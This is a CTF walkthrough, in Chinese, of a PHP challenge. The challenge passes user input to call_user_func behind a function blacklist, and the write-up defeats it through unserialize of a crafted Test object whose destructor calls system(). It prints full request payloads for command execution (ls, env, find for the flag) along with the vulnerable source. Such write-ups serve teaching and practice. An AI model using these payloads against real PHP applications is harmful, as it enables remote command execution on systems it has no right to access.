知识点:
call_user_func() 函数
反序列化魔术方法
find命令查找flag
代码审计
打开题目,弹出上面的提示,是一个警告warning,而且页面每隔几秒就会刷新一次,根据warning中的信息以及信息中的时间一直在变,可以猜测是date()函数一直在被调用
查看源代码发现一些信息,但是作用不大
bp抓包查看一下
func=date&p=Y-m-d+h%3Ai%3As+a 那么就是调用了date()函数并回显在页面上,参数func是函数名,p是参数值
既然可以执行date函数,那么是不是也可以执行其他函数呢?
而且date()函数是不会自动输出结果的 ,既然显示了时间那么应该有echo 之类输出的操作,可以随便尝试php的函数根据输出的内容来验证是否有命令执行
抓包修改参数,用简单的小写转换函数来验证 func=strtolower&p=AB
看到回显了ab 确实可以执行函数并回显结果
所以用system()函数执行命令 func=system&p=ls 提示 Hacker... 被禁止了
把ls 改为123 还是hacker 参数不影响,说明应该是system函数被过滤了
想办法查看文件的源码,可以用查看或者读取文件的函数 例如:file_get_contents() highlight_file() show_source()都可以
输入 func=file_get_contents&p=index.php 成功读取了index.php文件源码
代码审计:
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
代码禁用了非常多的函数,常见的命令执行函数都被禁止了
代码中定义了一个函数gettime 和 一个类Test 先不看这两部分,先看最后的代码
接收$func 和 $p参数,把$func转换为小写,然后判断是否在列出的禁止函数数组里面,如果不在,就调用gettime()函数,接着看gettime()函数
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
call_user_func 是 PHP 中的一个内置函数,用于调用回调函数,call_user_func函数返回回调函数的结果。如果回调函数没有返回值,则 call_user_func 也不会有返回值
其中$func 是回调函数名,$p是传递给回调函数的参数,结果赋值给$result 如果$result类型为string,返回结果
这里不知道flag文件的名字以及路径,所以直接用file_get_contents()函数读取到flag文件的概率太低,所以解题关键是使用命令执行函数找到flag,需要绕过黑名单限制从而执行命令
观察代码发现Test类还没有用到,对于Test类,代码中没有调用的操作,作用是赋值$func 和 $p 的值并且调用gettime()函数
注意类中的__destruct()函数,如果利用unserialize()函数反序列化一个Test类,在类里的参数中写入要执行的代码和函数,此时$disable_fun不会匹配unserialize函数,就会执行gettime函数,调用call_user_func($func, $p);执行反序列化操作
__destruct()函数会在反序列化函数执行完之后触发,再次触发gettime($this->func, $this->p)函数,这时$func和$p的值是之前类中赋值过的内容,不会被匹配,就可以绕过黑名单中命令执行函数的限制,这里没有禁止unserialize反序列化函数,刚好可以使用
<?php
class Test{
public $p="ls /";
public $func="system";
}
$a=new Test();
echo serialize($a);
//结果: O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
传入func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
回显了根目录下的文件,但是没有发现flag文件,查看一下环境变量env
传入 func=unserialize&p=O:4:"Test":2:{s:1:"p";s:3:"env";s:4:"func";s:6:"system";}
发现not_flag 那么flag应该是藏在某个目录下,使用find命令查找flag
构造system("find / -name *flag*") 用find查找所有文件名包含flag的文件
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system";}
发现 /tmp/flagoefiu4r93,相较于其他路径较长的文件 和 系统proc目录下的文件 更加可疑
查看该文件,得到flag